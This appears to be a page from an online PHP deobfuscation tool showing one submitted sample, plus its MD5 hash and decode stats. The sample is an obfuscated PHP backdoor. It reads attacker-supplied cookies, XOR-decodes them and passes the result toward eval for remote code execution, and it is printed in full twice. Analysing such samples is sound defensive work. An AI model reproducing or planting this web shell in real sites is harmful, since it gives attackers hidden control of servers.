Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $function = 'eval'; // Function used to execute code $characters = '-dycnfv49u*..
Decoded Output download
<?php
$function = 'eval'; // Function used to execute code
$characters = '-dycnfv49u*kt8_pa0im5\'r#xe31s6o2Hbgl'; // A set of characters
$decoded = array();
// Decoding and building an array
$decoded[] = $characters[3] . $characters[17] . $characters[16] . $characters[29] . $characters[5] . $characters[33] . $characters[7] . $characters[33] . $characters[0] . $characters[16] . $characters[8] . $characters[1] . $characters[31] . $characters[0] . $characters[7] . $characters[1] . $characters[3] . $characters[27] . $characters[0] . $characters[13] . $characters[25] . $characters[26] . $characters[7] . $characters[0] . $characters[16] . $characters[3] . $characters[16] . $characters[25] . $characters[17] . $characters[7] . $characters[20] . $characters[20] . $characters[25] . $characters[26] . $characters[25] . $characters[27];
$decoded[] = $characters[32] . $characters[10];
$decoded[] = $characters[23];
$decoded[] = $characters[3] . $characters[30] . $characters[9] . $characters[4] . $characters[12];
$decoded[] = $characters[28] . $characters[12] . $characters[22] . $characters[14] . $characters[22] . $characters[25] . $characters[15] . $characters[25] . $characters[16] . $characters[12];
$decoded[] = $characters[25] . $characters[24] . $characters[15] . $characters[35] . $characters[30] . $characters[1] . $characters[25];
$decoded[] = $characters[28] . $characters[9] . $characters[33] . $characters[28] . $characters[12] . $characters[22];
$decoded[] = $characters[16] . $characters[22] . $characters[22] . $characters[16] . $characters[2] . $characters[14] . $characters[19] . $characters[25] . $characters[22] . $characters[34] . $characters[25];
$decoded[] = $characters[28] . $characters[12] . $characters[22] . $characters[35] . $characters[25] . $characters[4];
$decoded[] = $characters[15] . $characters[16] . $characters[3] . $characters[11];
// Function for decoding
foreach ($_COOKIE as $sbfsxu => $izshp) {
function jvmudcn($characters, $sbfsxu, $shdbj) {
return substr($characters, strpos($sbfsxu . $characters[0], ($shdbj / strlen($sbfsxu)) + 1), $shdbj);
}
function tuikaqv($characters, $yoyglsn) {
return @$characters[9]($characters[1], $yoyglsn);
}
function dnmadn($characters, $yoyglsn) {
$uqyjvqb = $characters[3]($yoyglsn) % 3;
if (!$uqyjvqb) {
$function($yoyglsn[1]($yoyglsn[2]));
exit();
}
}
$izshp = tuikaqv($characters, $izshp);
dnmadn($characters, $characters[5]($characters[2], $izshp ^ jvmudcn($characters, $sbfsxu, strlen($izshp))));
} ?>
Did this file decode correctly?
Original Code
<?php
$function = 'eval'; // Function used to execute code
$characters = '-dycnfv49u*kt8_pa0im5\'r#xe31s6o2Hbgl'; // A set of characters
$decoded = array();
// Decoding and building an array
$decoded[] = $characters[3] . $characters[17] . $characters[16] . $characters[29] . $characters[5] . $characters[33] . $characters[7] . $characters[33] . $characters[0] . $characters[16] . $characters[8] . $characters[1] . $characters[31] . $characters[0] . $characters[7] . $characters[1] . $characters[3] . $characters[27] . $characters[0] . $characters[13] . $characters[25] . $characters[26] . $characters[7] . $characters[0] . $characters[16] . $characters[3] . $characters[16] . $characters[25] . $characters[17] . $characters[7] . $characters[20] . $characters[20] . $characters[25] . $characters[26] . $characters[25] . $characters[27];
$decoded[] = $characters[32] . $characters[10];
$decoded[] = $characters[23];
$decoded[] = $characters[3] . $characters[30] . $characters[9] . $characters[4] . $characters[12];
$decoded[] = $characters[28] . $characters[12] . $characters[22] . $characters[14] . $characters[22] . $characters[25] . $characters[15] . $characters[25] . $characters[16] . $characters[12];
$decoded[] = $characters[25] . $characters[24] . $characters[15] . $characters[35] . $characters[30] . $characters[1] . $characters[25];
$decoded[] = $characters[28] . $characters[9] . $characters[33] . $characters[28] . $characters[12] . $characters[22];
$decoded[] = $characters[16] . $characters[22] . $characters[22] . $characters[16] . $characters[2] . $characters[14] . $characters[19] . $characters[25] . $characters[22] . $characters[34] . $characters[25];
$decoded[] = $characters[28] . $characters[12] . $characters[22] . $characters[35] . $characters[25] . $characters[4];
$decoded[] = $characters[15] . $characters[16] . $characters[3] . $characters[11];
// Function for decoding
foreach ($_COOKIE as $sbfsxu => $izshp) {
function jvmudcn($characters, $sbfsxu, $shdbj) {
return substr($characters, strpos($sbfsxu . $characters[0], ($shdbj / strlen($sbfsxu)) + 1), $shdbj);
}
function tuikaqv($characters, $yoyglsn) {
return @$characters[9]($characters[1], $yoyglsn);
}
function dnmadn($characters, $yoyglsn) {
$uqyjvqb = $characters[3]($yoyglsn) % 3;
if (!$uqyjvqb) {
$function($yoyglsn[1]($yoyglsn[2]));
exit();
}
}
$izshp = tuikaqv($characters, $izshp);
dnmadn($characters, $characters[5]($characters[2], $izshp ^ jvmudcn($characters, $sbfsxu, strlen($izshp))));
}
Function Calls
None |
Stats
MD5 | ca5b4ffdb9b10fd9262ee77ca76d2115 |
Eval Count | 0 |
Decode Time | 101 ms |